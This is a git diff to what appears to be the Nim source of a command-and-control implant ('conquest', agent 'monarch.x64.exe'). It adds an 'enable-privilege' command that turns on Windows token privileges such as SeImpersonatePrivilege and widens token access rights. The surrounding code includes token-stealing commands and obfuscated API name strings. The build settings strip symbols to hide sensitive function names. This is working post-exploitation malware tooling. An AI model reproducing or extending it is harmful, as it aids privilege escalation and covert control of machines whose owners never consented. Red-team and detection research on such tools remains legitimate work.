diff --git a/src/agent/core/token.nim b/src/agent/core/token.nim index 6f3a958..8e0403e 100644 --- a/src/agent/core/token.nim +++ b/src/agent/core/token.nim @@ -16,6 +16,7 @@ type NtQueryInformationToken = proc(hToken: HANDLE, tokenInformationClass: TOKEN_INFORMATION_CLASS, tokenInformation: PVOID, tokenInformationLength: ULONG, returnLength: PULONG): NTSTATUS {.stdcall.} NtOpenThreadToken = proc(threadHandle: HANDLE, desiredAccess: ACCESS_MASK, openAsSelf: BOOLEAN, tokenHandle: PHANDLE): NTSTATUS {.stdcall.} NtOpenProcessToken = proc(processHandle: HANDLE, desiredAccess: ACCESS_MASK, tokenHandle: PHANDLE): NTSTATUS {.stdcall.} + ConvertSidToStringSidA = proc(sid: PSID, stringSid: ptr LPSTR): NTSTATUS {.stdcall.} const @@ -33,9 +34,9 @@ proc getCurrentToken*(): HANDLE = pNtOpenProcessToken = cast[NtOpenProcessToken](GetProcAddress(hNtdll, protect("NtOpenProcessToken"))) # https://ntdoc.m417z.com/ntopenthreadtoken, token-info fails with error ACCESS_DENIED if OpenAsSelf is set to - status = pNtOpenThreadToken(CURRENT_THREAD, TOKEN_QUERY, TRUE, addr hToken) + status = pNtOpenThreadToken(CURRENT_THREAD, TOKEN_ADJUST_PRIVILEGES or TOKEN_QUERY, TRUE, addr hToken) if status != STATUS_SUCCESS: - status = pNtOpenProcessToken(CURRENT_PROCESS, TOKEN_QUERY, addr hToken) + status = pNtOpenProcessToken(CURRENT_PROCESS, TOKEN_ADJUST_PRIVILEGES or TOKEN_QUERY, addr hToken) if status != STATUS_SUCCESS: raise newException(CatchableError, protect("NtOpenProcessToken ") & $status.toHex()) @@ -232,3 +233,26 @@ proc tokenSteal*(pid: int): bool = proc rev2self*(): bool = return RevertToSelf() + +proc enablePrivilege*(privilegeName: string): string = + var + tokenPrivs: TOKEN_PRIVILEGES + oldTokenPrivs: TOKEN_PRIVILEGES + luid: LUID + returnLength: DWORD + + let hToken = getCurrentToken() + defer: CloseHandle(hToken) + + if LookupPrivilegeValueW(NULL, newWideCString(privilegeName), addr luid) == FALSE: + raise newException(CatchableError, $GetLastError()) + + # Enable privilege + tokenPrivs.PrivilegeCount = 1 + tokenPrivs.Privileges[0].Luid = luid + tokenPrivs.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED + + if AdjustTokenPrivileges(hToken, FALSE, addr tokenPrivs, cast[DWORD](sizeof(TOKEN_PRIVILEGES)), addr oldTokenPrivs, addr returnLength) == FALSE: + raise newException(CatchableError, $GetLastError()) + + return privilegeToString(addr luid) \ No newline at end of file diff --git a/src/agent/nim.cfg b/src/agent/nim.cfg index e4784a2..02d118e 100644 --- a/src/agent/nim.cfg +++ b/src/agent/nim.cfg @@ -3,6 +3,6 @@ -d:release --opt:size --passL:"-s" # Strip symbols, such as sensitive function names --d:CONFIGURATION="PLACEHOLDERAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAPLACEHOLDER" +-d:CONFIGURATION="PLACEHOLDERAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAPLACEHOLDER" -d:MODULES="511" -o:"/mnt/c/Users/jakob/Documents/Projects/conquest/bin/monarch.x64.exe" \ No newline at end of file diff --git a/src/common/types.nim b/src/common/types.nim index 40152e1..f4a3f2e 100644 --- a/src/common/types.nim +++ b/src/common/types.nim @@ -56,6 +56,7 @@ type CMD_STEAL_TOKEN = 19'u16 CMD_REV2SELF = 20'u16 CMD_TOKEN_INFO = 21'u16 + CMD_ENABLE_PRIV = 22'u16 StatusType* = enum STATUS_COMPLETED = 0'u8 diff --git a/src/modules/token.nim b/src/modules/token.nim index 9ec8536..800b8ad 100644 --- a/src/modules/token.nim +++ b/src/modules/token.nim @@ -4,6 +4,8 @@ import ../common/[types, utils] proc executeMakeToken(ctx: AgentCtx, task: Task): TaskResult proc executeRev2Self(ctx: AgentCtx, task: Task): TaskResult proc executeTokenInfo(ctx: AgentCtx, task: Task): TaskResult +proc executeEnablePrivilege(ctx: AgentCtx, task: Task): TaskResult + # Module definition let module* = Module( @@ -38,6 +40,16 @@ let module* = Module( example: protect("token-info"), arguments: @[], execute: executeTokenInfo + ), + Command( + name: protect("enable-privilege"), + commandType: CMD_ENABLE_PRIV, + description: protect("enable a token privilege."), + example: protect("enable-privilege SeImpersonatePrivilege"), + arguments: @[ + Argument(name: protect("privilege"), description: protect("Privilege to modify."), argumentType: STRING, isRequired: true) + ], + execute: executeEnablePrivilege ) ] ) @@ -47,6 +59,7 @@ when not defined(agent): proc executeMakeToken(ctx: AgentCtx, task: Task): TaskResult = nil proc executeRev2Self(ctx: AgentCtx, task: Task): TaskResult = nil proc executeTokenInfo(ctx: AgentCtx, task: Task): TaskResult = nil + proc executeEnablePrivilege(ctx: AgentCtx, task: Task): TaskResult = nil when defined(agent): @@ -101,3 +114,15 @@ when defined(agent): except CatchableError as err: return createTaskResult(task, STATUS_FAILED, RESULT_STRING, string.toBytes(err.msg)) + + proc executeEnablePrivilege(ctx: AgentCtx, task: Task): TaskResult = + try: + echo fmt" [>] Enabling token privilege." + + let privilege = Bytes.toString(task.args[0].data) + let privilegeName = enablePrivilege(privilege) + + return createTaskResult(task, STATUS_COMPLETED, RESULT_STRING, string.toBytes(fmt"Enabled {privilegeName}.")) + + except CatchableError as err: + return createTaskResult(task, STATUS_FAILED, RESULT_STRING, string.toBytes(err.msg))